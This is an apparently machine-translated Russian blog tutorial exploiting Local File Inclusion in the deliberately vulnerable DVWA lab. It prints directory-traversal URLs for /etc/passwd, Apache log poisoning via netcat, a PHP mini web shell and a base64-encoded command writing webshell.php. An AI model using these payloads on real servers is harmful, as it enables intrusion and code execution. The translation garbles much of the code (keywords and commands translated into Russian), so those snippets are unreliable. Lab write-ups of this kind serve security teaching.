Черт уязвимых веб-приложений - местное включение файла (LFI)
Автор:
Ашфак Ансари

Пересмотрены:
Рейтинг:
5
На Март 18, 2013
Последние изменения:Март 18, 2013

Резюме:

Местное включение файла (LFI) является одним из видов уязвимости чаще всего встречаются на сайтах. Это позволяет злоумышленнику включать локальный файл, Обычно через скрипт на веб-сервере. Уязвимость возникает из-за использования данных, вводимых пользователем без соответствующей проверки.

Введение

 

В первой части Черт уязвимых веб-приложений (DVWA) серия, мы видели, как мы можем установить Черт уязвимых веб-приложений (DVWA) на BackTrack 5 R1.
 


 

Сейчас, мы будем тестировать другой атаки известный как Местное включение файла (LFI).
 

Местное включение файла (LFI) является одним из видов уязвимости чаще всего встречаются на сайтах. Это позволяет злоумышленнику включать локальный файл, Обычно через скрипт на веб-сервере.
 

Уязвимость возникает из-за использования данных, вводимых пользователем без соответствующей проверки. Это может привести к чему-то минимально вывода содержимого файла, однако в зависимости от тяжести, перечислить некоторые из них это может привести к:
 


1. Выполнение кода на веб-сервере.
2. Выполнение кода на стороне клиента, такие как JavaScript, которая может привести к другим атак, таких как Cross Site Scripting (XSS).
3. Отказ в обслуживании (DoS).
4. Кражи данных и манипулирования данными.

 

Сейчас, Идея Местное включение файла (LFI) атаки является то, что, она позволяет злоумышленнику включают локальные файлы на веб-сервер, используя уязвимые веб-сценарии, если веб-сервер имеет разрешение на доступ к нему.
 

Вы все должны думать, “Что многое в нем?”.
 

Хорошо, Надо сказать, что это очень серьезный вопрос Если веб-сервер не настроен должным образом.
 

Давайте, считают, что атакующий может включать локальный файл на веб-сервер через уязвимый скрипт PHP. Это означает, что он будет в состоянии выполнить любой PHP код, который есть в файле, который в настоящее время включен.
 

Сейчас, некоторые из вас должны думать, “Какая польза выполнения PHP скрипта в том числе локальных файлов, когда это не помогает хакерами для получения доступа?”.
 

HTTP-сервера Apache предоставляет различные механизмы для регистрации все, что происходит на веб-сервере, от первоначального запроса, через процесс отображение URL, на окончательное решение связи, включая любые ошибки, которые могут возникнуть в процессе.
 

Вот отрывок из сообщения о безопасности находится на Документация Apache HTTP сервера страницы.
 

Ссылка: http://httpd.apache.org/docs/2.4/logs.html
 

Предупреждение о безопасности: Любой, кто может писать в директорию, где Apache HTTPD пишет в лог-файл почти наверняка может получить доступ к UID, что сервер запускается как, который обычно корень. Не дают людям доступ на запись в каталог, журналы хранятся в не будучи осведомлены о последствиях. см. документ Советы по безопасности подробнее. В дополнение, лог-файлы могут содержать информацию, которые поступают непосредственно из клиента, без экранирования. Поэтому, это возможно для злонамеренных клиентов вставить контрольно-символов в лог-файлах, поэтому необходимо соблюдать осторожность в отношениях с логи.

 

К вашему сведению, в BackTrack 5 R1, the HTTP-сервер Apache Вход Файл находится в:
 

/VAR / Журнал / apache2 / access.log

/var/log/apache2/error.log


 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Путь к файлу журнала
 

Вы уже прочитали выше предупреждение системы безопасности о разрешениях каталог журналов. Если атакующий успеха в поиске путь к файлу журнала использования Обхода каталога атаки, он может отравить этих журналов, написав вредоносного кода в файлах журналов, если “журнал” каталог и права доступа к файлам не настроен должным образом.
 

Мы будем видеть, как мы можем яд the лог-файлы в более поздней части этого поста.
 

Вооруженный основную информацию о Местное включение файла (LFI), Перейдем и испытать его в практической сессии.
 

Внимание: В BackTrack 5 R1, the “access.log” Доступ файла Введено “Другие” установлен в “Запрещенный”.

 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Файл журнала Введено
 

Сейчас, давайте дадим “Умеет читать” Права на доступ к “Другие”.
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Прочитайте файл журнала Введено
 

Мы создаем “Умеет читать” разрешения, так что мы в состоянии доказать, Местное включение файла (LFI) атаки использованием Черт уязвимых веб-приложений (DVWA).
 

Get Set And Go.

 

Давайте войдите Для Черт уязвимых веб-приложений (DVWA) и установите Безопасность уровне низкий.
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Безопасности к низкой
 

Нажмите на Включение файлов.
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Tab включение файлов
 

HTTP://192.168.96.128/dvwa / Уязвимости / AT /?страница = include.php

 

Чтобы включить файл редактировать ?страница = index.php в URL, чтобы определить, какой файл включен.
 

Давайте подтвердить, действительно ли данная ссылка действительно уязвимы для Местное включение файла.
 

Мы сделаем Обхода каталога и попробуйте включить /и т.д. / пароль файл. Если это включение успешным, мы найдем содержание /и т.д. / пароль отображается на веб-странице.
 

HTTP://192.168.96.128/dvwa / Уязвимости / AT /?страница = .. / .. / .. / .. / .. / и т.д. / пароль

 

Черт уязвимых веб-приложений - Местное включение файла (LFI) /etc/passwd Inclusion
 

Выглядит хорошо! Мы смогли включить /и т.д. / пароль подать в Черт уязвимых веб-приложений (DVWA) успешно, как веб-страница отображается полное содержание /и т.д. / пароль файл.
 

Наша следующая задача, чтобы попытаться включают в себя Файл журнала в Apache. Снова, мы будем использовать Обхода каталога и попробуйте включить /VAR / Журнал / apache2 / access.log файл.
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Access Log Inclusion
 

HTTP://192.168.96.128/dvwa / Уязвимости / AT /?страница = .. / .. / .. / .. / Журнал / apache2 / access.log

 

Вот это да! Это хороший день для нас. Вещи работают в хорошем смысле. Apache веб-сервера access.log Файл успешно включены. Это здорово, что теперь индикация, мы можем двинуться в сторону и попытаться Яд the Ошибка сервера Apache журнал.
 

Внимание: Как я уже используют эту BackTrack 5 R1 с года. Я уберет access.log и error.log так что я в состоянии показать вам отравленные части журнала файлы легко.    

Черт уязвимых веб-приложений - Местное включение файла (LFI) Очистить журналы

Мы готовы яд the access.log файл. Это важный шаг, поскольку это поможет атакующему включать access.log файл и выполните команду отравленный PHP кода , что будет записано в access.log файл на этом этапе. Отравление может быть подтверждено путем проверки содержимого error.log файл.
 

Открыть Терминал и подключиться к Веб-сервер Apache на порту 80 использование Netcat.
 

1
2
3
Root @ BT:~ # Северная Каролина 192.168.96.128 80

GET /hazStart<?PHP системы(base64_decode($_GET[a]));?>HTTP hazEnd/1.1

 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Яд Журналы
 

Сейчас, позволяет подтвердить, действительно ли отравление было успешным. Для этого, мы откроем оба access.log и error.log файл и попытаться понять ее записей.
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Яд Журналы
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Яд Журналы
 

Прохладно! У нас есть файлы журналов отравленный. Каждая вещь работает, как ожидалось.
 

Внимание: Мы уже писали мини-оболочки в PHP access.log лог-файл. Теперь наш следующий мотив, чтобы написать еще одну мини-оболочки PHP в корневом каталоге веб-сервера, на котором Черт уязвимых веб-приложений (DVWA).

 

Вот команда, которая будет написать мини PHP оболочки на веб-сервере.
 

1
эхо "<?PHP системы(base64_decode($_GET['P'])); ?>" > ../../webshell.php

 

Если вы помните, мини PHP оболочки сценарий, который мы вводили в access.log файл, код скрипта приведен ниже:
 

1
<?PHP система(base64_decode($_GET["А"])); ?>

 

Можете ли вы угадать следующий шаг, который мы должны сделать после просмотра кода скрипт?
 

Хорошо, Теперь у нас будет кодировать команда служит для записи мини PHP скрипт, чтобы веб-сервер корня с помощью Алгоритм кодирования base64.
 

Вот простой Python программе base64 кодирования Строка:
 

1
2
3
4
5
#!/USR / BIN / Python

base64encodedstr = """echo "<?PHP системы(base64_decode($_GET['P'])); ?>" > ../../webshell.php"""

печатать "\NСтрока в кодировке: " + base64encodedstr.кодировать('Base64',"Строгий") + "\N"

 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Base64 Encode
 

The в кодировке Base64 Ниже приводится:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

Это будет последний шаг, прежде чем мы приветствовали с оболочкой. 🙂
 

Мы перейдите к URL Ниже приведены написать мини PHP скрипт для корень веб-сервера.

HTTP://192.168.96.128/dvwa / Уязвимости / AT /?страница = .. / .. / .. / .. / Журнал / apache2 / access.log?= ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

Черт уязвимых веб-приложений - Местное включение файла (LFI) PHP Web Shell
 

В конце концов!! Мы сделали это успешно. Мы загрузили мини PHP оболочки использованием Местное Уязвимость включения файла в Черт уязвимых веб-приложений (DVWA).
 

Я люблю автоматизации и что по этой причине я люблю Python. Python дает вам отличную мощность для выполнения сложных вещах очень просто.
 

Я написал сценарий Python, которую мы написали для автоматизации эксплуатации Местное включение файла (LFI) в Черт уязвимых веб-приложений (DVWA).
 

Черт уязвимых веб-приложений - Местное включение файла (LFI) Exploit сценария
 

Так как длина эксплуатировать сценарий очень большой, Я молнии весь скрипты, используемые в этой должности и доступен для загрузки.
 

Скачать Черт уязвимых веб-приложений – Местное включение файла (LFI) размещают материалы:
 

DVWA - Сценарии LFI Exploit
3.9 КИБ
644 Загрузки
Детали...

 

Спасибо, что нашли время, чтобы прочитать этот пост. Я надеюсь, что это поможет вам. Пожалуйста, не стесняйтесь оставлять комментарии назад если у вас есть какие-либо сомнения или если вы хотите обсуждать что-либо в отношении Местное включение файла (LFI).
 

46,418 просмотров всего, 29 просмотров сегодня

Следующие две вкладки изменять содержимое ниже.

Ашфак Ансари

Исследователь безопасности
Ашфак Ансари является основателем HackSys команды кодовым названием "Panthera". Он исследователь безопасности с опытом работы в различных аспектах информационной безопасности. Он является автором "HackSys Экстремальные Уязвимые водителя" и "Shellcode смерти". Он также написал и опубликовал различные технические документы на эксплуатацию программного обеспечения низкого уровня. Его основной интерес заключается в "Низкий уровень эксплуатации", "Обратное проектирование", "Анализ программы" и "Гибридная Фаззинг". Он фанат искусственного интеллекта и машинного обучения. Он глава свинец для нулевой Пуне.

2 Коммент. : “Черт уязвимых веб-приложений - местное включение файла (LFI)”

  1. Можно ли, чтобы показать атаку без разрешения чтения на access.log. Другими словами, покидающих набор разрешений для запрещены? Так как большинство серверов может иметь этот набор в первую очередь. будет принята с благодарностью.

    • Привет KC,

      К сожалению, Файл журнала должен иметь разрешение на чтение на access.log.

      Если не, мы можем прочитать файл, мы не сможем провести атаку.

      Однако, вы можете попробовать различные направления атак.

      Спасибо.

Оставить комментарий

Ваш электронный адрес не будет опубликован. Обязательные поля помечены *